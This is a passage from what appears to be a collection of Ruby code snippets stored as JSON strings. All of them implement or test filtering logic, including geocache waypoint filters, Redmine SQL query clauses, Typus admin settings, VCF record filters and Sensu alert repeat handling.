@filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['favFactorMin']\n @appliedFilters['-g'] = { 'f' => \"#{@option['favFactorMin']}\", 't' => \"favFactor min\" }\n @filtered.favFactorMin(@option['favFactorMin'].to_f)\n end\n if @option['favFactorMax']\n @appliedFilters['-G'] = { 'f' => \"#{@option['favFactorMax']}\", 't' => \"favFactor max\" }\n @filtered.favFactorMax(@option['favFactorMax'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"FavFactor\")\n\n # We filter for users again. While this may be a bit obsessive, this is in case\n # our local cache is not valid.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['attributeExclude']\n @appliedFilters['-A'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr no\" }\n @option['attributeExclude'].split($delimiters).each{ |attribute|\n @filtered.attributeExclude(attribute)\n }\n end\n if @option['attributeInclude']\n @appliedFilters['-a'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr yes\" }\n @option['attributeInclude'].split($delimiters).each{ |attribute|\n @filtered.attributeInclude(attribute)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Attribute\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['minLongitude']\n @appliedFilters['--minLon'] = { 'f' => \"#{@option['minLongitude']}\", 't' => \"West\" }\n @filtered.longMin(@option['minLongitude'])\n end\n if @option['maxLongitude']\n @appliedFilters['--maxLon'] = { 'f' => \"#{@option['maxLongitude']}\", 't' => \"East\" }\n @filtered.longMax(@option['maxLongitude'])\n end\n if @option['minLatitude']\n @appliedFilters['--minLat'] = { 'f' => \"#{@option['minLatitude']}\", 't' => \"South\" }\n @filtered.latMin(@option['minLatitude'])\n end\n if @option['maxLatitude']\n @appliedFilters['--maxLat'] = { 'f' => \"#{@option['maxLatitude']}\", 't' => \"North\" }\n @filtered.latMax(@option['maxLatitude'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Lat/Lon\")\n\n displayMessage \"Post-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n return @filtered.totalWaypoints\n end",
"def typus_actions_on(filter)\n Typus::Configuration.config[name]['actions'][filter.to_s].extract_settings\n rescue\n []\n end",
"def preFetchFilter\n @filtered = Filter.new(@combinedWaypoints)\n debug \"Filter running cycle 1, #{caches(@filtered.totalWaypoints)} left.\"\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['cacheType']\n # post-filter by cacheType\n @appliedFilters['-c'] = { 'f' => \"#{@option['cacheType']}\", 't' => \"type\" }\n # event+ is now all_event, unknown+ is now all_unknown\n if @option['cacheType'] !~ /\\+$/ and\n @option['cacheType'] !~ /^all_/\n # but only if there's no \"all xxx\" chosen\n # we must trust that the query returns correct data here...\n @filtered.cacheType(@option['cacheType'])\n else\n displayWarning \"Not filtering for cache type!\"\n end\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Cache type\")\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if not @option['includeArchived']\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if not @option['includeDisabled']\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @filtered.removeByElement('membersonly')\n end\n # may not be accurate before fetching details?\n if @option['onlyPMO']\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n if $DTSFILTER\n #-------------------\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n @filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n #-------------------\n end # $DTSFILTER\n\n debug \"Filter running cycle 2, #{caches(@filtered.totalWaypoints)} left.\"\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['foundDateInclude']\n @appliedFilters['-r'] = { 'f' => \"#{@option['foundDateInclude']}\", 't' => \"found age max\" }\n @filtered.foundDateInclude(@option['foundDateInclude'].to_f)\n end\n if @option['foundDateExclude']\n @appliedFilters['-R'] = { 'f' => \"#{@option['foundDateExclude']}\", 't' => \"found age min\" }\n @filtered.foundDateExclude(@option['foundDateExclude'].to_f)\n end\n if @option['placeDateInclude']\n @appliedFilters['-j'] = { 'f' => \"#{@option['placeDateInclude']}\", 't' => \"cache age max\" }\n @filtered.placeDateInclude(@option['placeDateInclude'].to_f)\n end\n if @option['placeDateExclude']\n @appliedFilters['-J'] = { 'f' => \"#{@option['placeDateExclude']}\", 't' => \"cache age min\" }\n @filtered.placeDateExclude(@option['placeDateExclude'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Date\")\n\n debug \"Filter running cycle 3, #{caches(@filtered.totalWaypoints)} left.\"\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['notFound']\n @appliedFilters['-n'] = { 'f' => \"\", 't' => \"virgins\" }\n @filtered.notFound\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Unfound\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['travelBug']\n @appliedFilters['-b'] = { 'f' => \"\", 't' => \"trackables\" }\n @filtered.travelBug\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Trackable\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['ownerExclude']\n @appliedFilters['-I'] = { 'f' => \"#{@option['ownerExclude']}\", 't' => \"not owned by\" }\n @option['ownerExclude'].split($delimiters).each{ |owner|\n @filtered.ownerExclude(owner)\n }\n end\n if @option['ownerInclude']\n @appliedFilters['-i'] = { 'f' => \"#{@option['ownerInclude']}\", 't' => \"owned by\" }\n @option['ownerInclude'].split($delimiters).each{ |owner|\n @filtered.ownerInclude(owner)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Owner\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['titleKeyword']\n @appliedFilters['-k'] = { 'f' => \"#{@option['titleKeyword']}\", 't' => \"matching title keyword\" }\n @filtered.titleKeyword(@option['titleKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Title\")\n\n displayMessage \"Pre-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n end",
"def test_reading_with_filters\n d = create_driver(filter_config)\n d.end_if do\n d.events.size >= 3\n end\n d.run(timeout: 5)\n assert_equal 3, d.events.size\n end",
"def typus_actions_on(filter)\n actions = read_model_config['actions']\n actions && actions[filter.to_s] ? actions[filter.to_s].extract_settings : []\n end",
"def bench_filters\n skip 'TODO'\n end",
"def check_timer_plugins\n @timer_plugins.each do |plugin|\n begin\n # Need to refer directly to the array since we'll be changing its values\n # plugin[0]: name\n # plugin[1]: interval\n # plugin[2]: next_run_at\n # plugin[3]: block\n # plugin[4]: options\n \n if plugin[2] < Time.now\n plugin[3].call()\n plugin[2] = Time.now + plugin[1]\n end\n rescue Exception => e\n e.dump(@logger)\n end\n end\n end",
"def select_stats(dispatcher, *filter)\n lf = []\n while q = filter.shift\n lf << \n case q\n when 'on_node' then\n n = filter.shift \n lambda { |req| req.rjr_node_type.to_s == n}\n\n when \"for_method\" then\n m = filter.shift\n lambda { |req| req.rjr_method == m}\n\n when 'successful' then\n lambda { |req| req.result.success }\n\n when 'failed' then\n lambda { |req| req.result.failed }\n\n end\n end\n\n dispatcher.requests.select { |ds| lf.all? { |lfi| lfi.call(ds) } }\nend",
"def apply_filter\n end",
"def apply_filter_config\r\n exec(\r\n 'require_once(\"shaper.inc\");',\r\n 'require_once(\"filter.inc\");',\r\n 'filter_configure_sync();'\r\n )\r\n end",
"def facterdb_filter(_args = [])\n dynamic_facterdb_filter.ai\n end",
"def facterdb_filter(_args = [])\n dynamic_facterdb_filter.ai\n end",
"def add_filters(filters); end",
"def post_filter\n @records = records.select {|event| event[:delay] }\n end",
"def take_further_actions\n if options[:check_bounds]\n min_max_bounds = CsvImportAnalyzer::CsvCheckBounds.new(options)\n res = min_max_bounds.get_min_max_values\n options[:min_max_bounds] = res[:min_max]\n options[:uniques] = res[:uniques]\n end\n query = CsvImportAnalyzer::SqlQueryBuilder.new(options)\n query.generate_query\n end",
"def statement\n # filters clauses\n filters_clauses = []\n filters.each_key do |field|\n next if field == \"subproject_id\"\n v = values_for(field).clone\n next unless v and !v.empty?\n operator = operator_for(field)\n\n # \"me\" value substitution\n if %w(assigned_to_id author_id user_id watcher_id updated_by last_updated_by).include?(field)\n if v.delete(\"me\")\n if User.current.logged?\n v.push(User.current.id.to_s)\n v += User.current.group_ids.map(&:to_s) if field == 'assigned_to_id'\n else\n v.push(\"0\")\n end\n end\n end\n\n if field == 'project_id'\n if v.delete('mine')\n v += User.current.memberships.map(&:project_id).map(&:to_s)\n end\n end\n\n if field =~ /^cf_(\\d+)\\.cf_(\\d+)$/\n filters_clauses << sql_for_chained_custom_field(field, operator, v, $1, $2)\n elsif field =~ /cf_(\\d+)$/\n # custom field\n filters_clauses << sql_for_custom_field(field, operator, v, $1)\n elsif field =~ /^cf_(\\d+)\\.(.+)$/\n filters_clauses << sql_for_custom_field_attribute(field, operator, v, $1, $2)\n elsif respond_to?(method = \"sql_for_#{field.tr('.','_')}_field\")\n # specific statement\n filters_clauses << send(method, field, operator, v)\n else\n # regular field\n filters_clauses << '(' + sql_for_field(field, operator, v, queried_table_name, field) + ')'\n end\n end if filters and valid?\n\n if (c = group_by_column) && c.is_a?(QueryCustomFieldColumn)\n # Excludes results for which the grouped custom field is not visible\n filters_clauses << c.custom_field.visibility_by_project_condition\n end\n\n ################\n # Smile specific #340206 Filtre additifs\n # Or filters clauses\n or_filters_clauses = []\n # Namespace to avoid a confusion with Class:ActiveRecord::AttributeMethods::Query\n if ::Query.respond_to?(:or_filters_provided?)\n or_filters.each_key do |field|\n next if field == \"subproject_id\"\n v = or_values_for(field).clone\n next unless v and !v.empty?\n operator = or_operator_for(field)\n\n # \"me\" value substitution\n ################\n # Smile specific : +old_value fields for Indicators\n # TODO move redmine_smile_indicators old_value_* to hook\n # * old_value_assigned_to_id\n # * old_value_author_id\n # * old_value_user_id\n # * old_value_watcher_id\n if %w(assigned_to_id old_value_assigned_to_id author_id old_value_author_id user_id old_value_user_id watcher_id old_value_watcher_id).include?(field)\n if v.delete(\"me\")\n if User.current.logged?\n v.push(User.current.id.to_s)\n v += User.current.group_ids.map(&:to_s) if field == 'assigned_to_id'\n else\n v.push(\"0\")\n end\n end\n end\n\n if field == 'project_id'\n if v.delete('mine')\n v += User.current.memberships.map(&:project_id).map(&:to_s)\n end\n end\n\n if field =~ /^cf_(\\d+)\\.cf_(\\d+)$/\n or_filters_clauses << sql_for_chained_custom_field(field, operator, v, $1, $2)\n elsif field =~ /cf_(\\d+)$/\n # custom field\n or_filters_clauses << sql_for_custom_field(field, operator, v, $1)\n elsif field =~ /^cf_(\\d+)\\.(.+)$/\n filters_clauses << sql_for_custom_field_attribute(field, operator, v, $1, $2)\n elsif respond_to?(method = \"sql_for_#{field.tr('.','_')}_field\")\n # specific statement\n or_filters_clauses << send(method, field, operator, v)\n else\n # regular field\n or_filters_clauses << '(' + sql_for_field(field, operator, v, queried_table_name, field) + ')'\n end\n end if or_filters and valid?\n\n if (c = group_by_column) && c.is_a?(QueryCustomFieldColumn)\n # Excludes results for which the grouped custom field is not visible\n or_filters_clauses << c.custom_field.visibility_by_project_condition\n end\n or_filters_clauses.reject!(&:blank?)\n end\n # END -- Smile specific #340206 Filtre additifs\n #######################\n\n filters_clauses << project_statement\n filters_clauses.reject!(&:blank?)\n\n result_statement = filters_clauses.any? ? filters_clauses.join(' AND ') : nil\n\n ################\n # Smile specific #340206 Filtre additifs\n if or_filters_clauses.any?\n if filters_clauses.any?\n result_statement += ' AND (' + or_filters_clauses.join(' OR ') + ')'\n else\n result_statement = or_filters_clauses.join(' OR ')\n end\n end\n # END -- Smile specific #340206 Filtre additifs\n #######################\n\n result_statement\n end",
"def check_capabilities(filter)\n capabilities = ddl.discovery_interface[:capabilities]\n\n unless capabilities.include?(:classes)\n raise \"Cannot use class filters while using the '%s' discovery method\" % discovery_method unless filter[\"cf_class\"].empty?\n end\n\n unless capabilities.include?(:facts)\n raise \"Cannot use fact filters while using the '%s' discovery method\" % discovery_method unless filter[\"fact\"].empty?\n end\n\n unless capabilities.include?(:identity)\n raise \"Cannot use identity filters while using the '%s' discovery method\" % discovery_method unless filter[\"identity\"].empty?\n end\n\n unless capabilities.include?(:compound)\n raise \"Cannot use compound filters while using the '%s' discovery method\" % discovery_method unless filter[\"compound\"].empty?\n end\n end",
"def apply_options(options) \r\n if options.kind_of? Hash\r\n conditions = options.delete(:conditions) || {}\r\n \r\n conditions.each do | c_name, c_value |\r\n c_name = c_name.to_s\r\n \r\n case c_name\r\n when /list\\Z/i\r\n # List filters\r\n list = query.__send__(c_name.camelize)\r\n c_value = [c_value] unless c_value.kind_of?(Array)\r\n c_value.each { |i| list.Add(i) }\r\n when /range\\Z/i\r\n # Range filters\r\n c_value = parse_range_value(c_value)\r\n range_filter = filter_for(c_name)\r\n range_name = c_name.match(/(.*)_range\\Z/i)[1]\r\n if range_name == 'modified_date'\r\n # Modified Date Range use the IQBDateTimeType which requires a\\\r\n # boolean 'asDateOnly' value.\r\n range_filter.__send__(\"from_#{range_name}=\", c_value.first, true) if c_value.first\r\n range_filter.__send__(\"to_#{range_name}=\", c_value.last, true) if c_value.last\r\n else\r\n range_filter.__send__(\"from_#{range_name}=\", c_value.first) if c_value.first\r\n range_filter.__send__(\"to_#{range_name}=\", c_value.last) if c_value.last\r\n end\r\n when /status\\Z/i\r\n # Status filters\r\n filter.__send__(\"#{c_name}=\", c_value)\r\n else\r\n # Reference filters - Only using FullNameList for now\r\n ref_filter = filter_for(c_name)\r\n c_value = [c_value] unless c_value.respond_to?(:each)\r\n c_value.each do | val |\r\n ref_filter.FullNameList.Add(val)\r\n end\r\n end\r\n end\r\n \r\n add_owner_ids(options.delete(:owner_id))\r\n add_limit(options.delete(:limit))\r\n add_includes(options.delete(:include))\r\n\r\n options.each do |key, value|\r\n self.send(key.to_s.camelize).SetValue(value)\r\n end\r\n end\r\n end",
"def filters; end",
"def filters; end",
"def parse_line line,header,options,bedfilter,samples,template,stats=nil\n fields = VcfLine.parse(line)\n rec = VcfRecord.new(fields,header)\n r = rec # alias\n\n filter = options[:filter]\n sfilter = options[:sfilter]\n efilter = options[:efilter]\n ifilter = options[:ifilter]\n add_filter = options[:add_filter] # contains a filter name (soft filter)\n seval = options[:seval]\n ignore_missing = options[:ignore_missing]\n quiet = options[:quiet]\n set_filter_field = nil\n\n if sfilter or efilter or ifilter or seval\n # check for samples\n header_samples = header.column_names[9..-1]\n raise \"Empty sample list, can not execute query!\" if not header_samples\n end\n\n # --------------------------\n # Filtering and set analysis\n if bedfilter\n bed = bedfilter.contains(rec)\n return if not bed\n end\n\n skip = lambda { |&m|\n matched = m.call\n if add_filter\n set_filter_field = true if matched\n false # always continue processing with an add-filter\n else\n not matched\n end\n }\n\n if filter\n return if skip.call { rec.gfilter(filter,ignore_missing_data: ignore_missing,quiet: quiet) }\n end\n \n if sfilter # sample 'or' filter\n rec.each_sample(options[:sfilter_samples]) do | sample |\n return if skip.call { sample.sfilter(sfilter,ignore_missing_data: ignore_missing,quiet: quiet) }\n end\n end\n\n if ifilter # include sample filter\n found = false\n rec.each_sample(options[:ifilter_samples]) do | sample |\n if sample.ifilter(ifilter,ignore_missing_data: ignore_missing,quiet: quiet)\n found = true\n break\n end\n end\n # Skip if there are no matches\n return if skip.call {found}\n end\n\n if efilter # exclude sample filter\n rec.each_sample(options[:efilter_samples]) do | sample |\n return if skip.call{ sample.efilter(efilter,ignore_missing_data: ignore_missing,quiet: quiet) }\n end\n end\n\n stats.add(rec) if stats\n\n # -----------------------------\n # From here on decide on output\n \n rec.add_to_filter_field(add_filter) if set_filter_field\n\n if samples\n # Select certain samples for output\n newfields = fields[0..8]\n samples.each do |s|\n newfields << fields[s+9] \n end\n fields = newfields\n end\n if options[:eval] or seval\n begin\n results = nil # result string\n if options[:eval] \n res = rec.eval(options[:eval],ignore_missing_data: ignore_missing,quiet: quiet)\n results = res if res\n end\n if seval\n list = (results ? [] : [rec.chr,rec.pos])\n rec.each_sample(options[:sfilter_samples]) { | sample |\n list << sample.eval(seval,ignore_missing_data: ignore_missing,quiet: quiet)\n }\n results = (results ? results.to_s + \"\\t\" : \"\" ) + list.join(\"\\t\")\n end\n rescue => e\n $stderr.print \"\\nLine: \",line\n $stderr.print \"ERROR evaluating --eval <#{options[:eval]}> #{e.message}\\n\"\n raise if options[:verbose]\n exit 1\n end\n return results.to_s+\"\\n\" if results\n else\n if options[:rdf]\n # Output Turtle RDF\n VcfRdf::record(options[:id],rec,options[:tags])\n elsif options[:template]\n # Use ERB template\n begin\n template.body(binding)\n rescue Exception => e\n $stderr.print e,\": \",fields,\"\\n\"\n $stderr.print e.backtrace.inspect if options[:verbose]\n raise \n end\n elsif options[:rewrite]\n # Default behaviour prints VCF line, but rewrite info\n eval(options[:rewrite]) \n (fields[0..6]+[rec.info.to_s]+fields[8..-1]).join(\"\\t\")+\"\\n\"\n elsif stats\n # do nothing\n else\n # Default behaviour prints VCF line\n fields.join(\"\\t\")+\"\\n\"\n end\n end\nend",
"def typus_actions_for(filter)\n if self.respond_to?(\"admin_actions_for_#{filter}\")\n self.send(\"admin_actions_for_#{filter}\").map { |a| a.to_s }\n else\n Typus::Configuration.config[self.name]['actions'][filter.to_s].split(', ') rescue []\n end\n end",
"def check_sql_before_running; tarif_optimizator.check_sql_before_running; end",
"def filter *filters\n spawn :@filters, @filters + parse_filter_input(filters)\n end",
"def typus_fields_for(filter); end",
"def typus_fields_for(filter)\n\n fields_with_type = ActiveSupport::OrderedHash.new\n\n begin\n fields = Typus::Configuration.config[name]['fields'][filter.to_s]\n fields = fields.extract_settings.collect { |f| f.to_sym }\n rescue\n return [] if filter == 'default'\n filter = 'default'\n retry\n end\n\n begin\n\n fields.each do |field|\n\n attribute_type = model_fields[field]\n\n if reflect_on_association(field)\n attribute_type = reflect_on_association(field).macro\n end\n\n if typus_field_options_for(:selectors).include?(field)\n attribute_type = :selector\n end\n\n # Custom field_type depending on the attribute name.\n case field.to_s\n when 'parent', 'parent_id' then attribute_type = :tree\n when /password/ then attribute_type = :password\n when 'position' then attribute_type = :position\n when /\\./ then attribute_type = :transversal\n end\n\n if respond_to?(:attachment_definitions) && attachment_definitions.try(:has_key?, field)\n attribute_type = :file\n end\n\n # And finally insert the field and the attribute_type\n # into the fields_with_type ordered hash.\n fields_with_type[field.to_s] = attribute_type\n\n end\n\n rescue\n fields = Typus::Configuration.config[name]['fields']['default'].extract_settings\n retry\n end\n\n return fields_with_type\n\n end",
"def filter(*args,&block)\n if args && args.any? || block_given?\n @filter = Lolita::Configuration::Filter.new(dbi,*args,&block)\n add_observer(@filter)\n end\n @filter\n end",
"def timeSeriesMultipleSourceMultipleAttributes(time1,time2,dataSources,inverters)\n @result = nil\n if inverters != nil\n invList = \"MultipleColumnPrefixFilter(\"\n inverters.each do |x|\n if invList != \"MultipleColumnPrefixFilter(\"\n invList = invList << \",\"\n end\n invList = invList << \"'\" << x << \"'\"\n end\n invList = invList << ')\"'\n puts invList\n if(time1 && time2 && dataSources)\n @result = @table.scan(start_row: time1, stop_row: time2, columns:dataSources,filter_String:invList) \n end\n end \n return @result \n end",
"def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end",
"def target_filters\n scan_ses_notes if @target_filters.nil?\n @target_filters\n end",
"def time_filters\n\t\t\t[\n\t\t\t\t[I18n.t('filters.time.any'), 'any'],\n\t\t\t\t[I18n.t('filters.time.today'), 'today'],\n\t\t\t\t[I18n.t('filters.time.yesterday'), 'yesterday'],\n\t\t\t\t[I18n.t('filters.time.this_week'), 'this_week'],\n\t\t\t\t[I18n.t('filters.time.this_month'), 'this_month'],\n\t\t\t\t[I18n.t('filters.time.last_month'), 'last_month'],\n\t\t\t\t[I18n.t('filters.time.last_7_days'), 'last_7_days'],\n\t\t\t\t[I18n.t('filters.time.last_30_days'), 'last_30_days'],\n\t\t\t\t[I18n.t('filters.time.between'), 'between']\n\t\t\t]\n\t\tend",
"def setups(filter=\"\")\n debug \"Systematic#setups(#{filter})\"\n setups = []\n strategies(filter).each do |strategy|\n debug \"Systematic#setups strategy=#{strategy}\"\n strategy.watchlist.each do |setup|\n sec_id, ticker = strategy.parse_setup(setup)\n setups << strategy.config_buy_entry(setup) if strategy.buy?(sec_id)\n end\n end\n puts \"setups=#{setups}\"\n setups\n end",
"def _run_filters(where, action)\n self.class.filters[where].each do |(method_or_filter, options, block)|\n if block\n block.call(self) if _filter_condition_met?(method_or_filter, options, action)\n else\n send(method_or_filter) if _filter_condition_met?(method_or_filter, options, action)\n end\n end\n end",
"def time_filter(selection)\n\t\t\tif self.method_defined? :gc_created_at\n\t\t\t\ttime_column = 'gc_created_at'\n\t\t\telsif self.method_defined? :source_created_at\n\t\t\t\ttime_column = 'source_created_at'\n\t\t\telse\n\t\t\t\ttime_column = 'created_at'\n\t\t\tend\n\t\t\t\n\t\t\tif selection.is_a?(Hash)\n\t\t\t\tif selection[:filter] == 'between'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Time.parse(selection[:from]))\n\t\t\t\t\t\t.where(name_of_class + '.' + time_column + '<= ?', Time.parse(selection[:to]))\n\t\t\t\telse\n\t\t\t\t\tself.all\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcase selection\n\t\t\t\twhen 'any'\n\t\t\t\t\tself.all\n\t\t\t\twhen 'today'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Date.today)\n\t\t\t\twhen 'yesterday'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Date.today - 1)\n\t\t\t\twhen 'this_week'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Time.now.beginning_of_week)\n\t\t\t\twhen 'this_month'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Time.now.beginning_of_month)\n\t\t\t\twhen 'last_month'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Time.now.last_month.beginning_of_month)\n\t\t\t\t\t\t.where(name_of_class + '.' + time_column + '<= ?', Time.now.last_month.end_of_month)\n\t\t\t\twhen 'last_7_days'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Date.today - 7)\n\t\t\t\twhen 'last_30_days'\n\t\t\t\t\tself.where(name_of_class + '.' + time_column + '>= ?', Date.today - 30)\n\t\t\t\telse\n\t\t\t\t\tself.all\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def global_filter; end",
"def filter_repeated\n reset_api_settings!\n if @event['check']['name'] == 'keepalive'\n # Keepalives are a special case because they don't emit an interval.\n # They emit a heartbeat every 20 seconds per\n # http://sensuapp.org/docs/0.12/keepalives\n interval = 20\n else\n interval = @event['check']['interval'].to_i || 0\n end\n alert_after = @event['check']['alert_after'].to_i || 0\n\n if self.class.name =~ /Pagerduty/ && @event['check']['page_after']\n alert_after = @event['check']['page_after'].to_i\n end\n\n # nil.to_i == 0\n # 0 || 1 == 0\n realert_every = ( @event['check']['realert_every'] || 1 ).to_i \n # realert_every can't be 0 because of potential ZeroDivisionError below\n realert_every = -1 if realert_every == 0\n\n initial_failing_occurrences = interval > 0 ? (alert_after / interval) : 0\n number_of_failed_attempts = @event['occurrences'] - initial_failing_occurrences\n\n # sensu 0.26+ only, else never make occurrences_watermark actionable\n # https://github.com/Yelp/sensu_handlers/issues/103\n # this hack takes care of scenario\n # when event has triggered at action == create\n # but did not resolve the corresponding event when action == resolve.\n # occurrences_watermark > initial_failing_occurrences prove enough occurrences\n # of the event that triggered create and hence it is safe to filter the event to resolve handler action.\n if (@event.key?('occurrences_watermark') &&\n @event['occurrences_watermark'] > initial_failing_occurrences &&\n @event['action'] == 'resolve')\n return\n end\n\n # Don't bother acting if we haven't hit the \n # alert_after threshold\n if number_of_failed_attempts < 1\n bail \"Not failing long enough, only #{number_of_failed_attempts} after \" \\\n \"#{initial_failing_occurrences} initial failing occurrences\"\n # If we have an interval, and this is a creation event, that means we are\n # an active check\n # Lets also filter based on the realert_every setting\n elsif interval > 0 and @event['action'] == 'create' \n # Special case of exponential backoff\n if realert_every == -1\n # If our number of failed attempts is an exponent of 2\n if power_of_two?(number_of_failed_attempts)\n # Then This is our MOMENT!\n return nil\n else\n bail \"not on a power of two: #{number_of_failed_attempts}\"\n end\n elsif (number_of_failed_attempts - 1) % realert_every != 0\n # Now bail if we are not in the realert_every cycle\n bail \"only handling every #{realert_every} occurrences, and we are at\" \\\n \" #{number_of_failed_attempts}\"\n end\n end\n end",
"def typus_defaults_for(filter)\n data = Typus::Configuration.config[name][filter.to_s]\n return (!data.nil?) ? data.extract_settings : []\n end",
"def test_filter\n d1 = create_driver(CONFIG, 'test.no.change')\n time = @time.to_i\n d1.run do\n d1.filter({'message' => '12 20120402182059'}, time)\n d1.filter({'message' => '34 20120402182100'}, time)\n d1.filter({'message' => '56 20120402182100'}, time)\n d1.filter({'message' => '78 20120402182101'}, time)\n d1.filter({'message' => '90 20120402182100'}, time)\n end\n filtered = d1.filtered_as_array\n assert_equal 5, filtered.length\n\n first = filtered[0]\n assert_equal 'test.no.change', first[0]\n assert_equal Time.parse(\"2012-04-02 18:20:59\").to_i, first[1]\n assert_equal '1', first[2]['x']\n assert_equal '2', first[2]['y']\n assert_equal '12 20120402182059', first[2]['message']\n\n second = filtered[1]\n assert_equal 'test.no.change', second[0]\n assert_equal Time.parse(\"2012-04-02 18:21:00\").to_i, second[1]\n assert_equal '3', second[2]['x']\n assert_equal '4', second[2]['y']\n\n third = filtered[2]\n assert_equal 'test.no.change', third[0]\n assert_equal Time.parse(\"2012-04-02 18:21:00\").to_i, third[1]\n assert_equal '5', third[2]['x']\n assert_equal '6', third[2]['y']\n\n fourth = filtered[3]\n assert_equal 'test.no.change', fourth[0]\n assert_equal Time.parse(\"2012-04-02 18:21:01\").to_i, fourth[1]\n assert_equal '7', fourth[2]['x']\n assert_equal '8', fourth[2]['y']\n\n fifth = 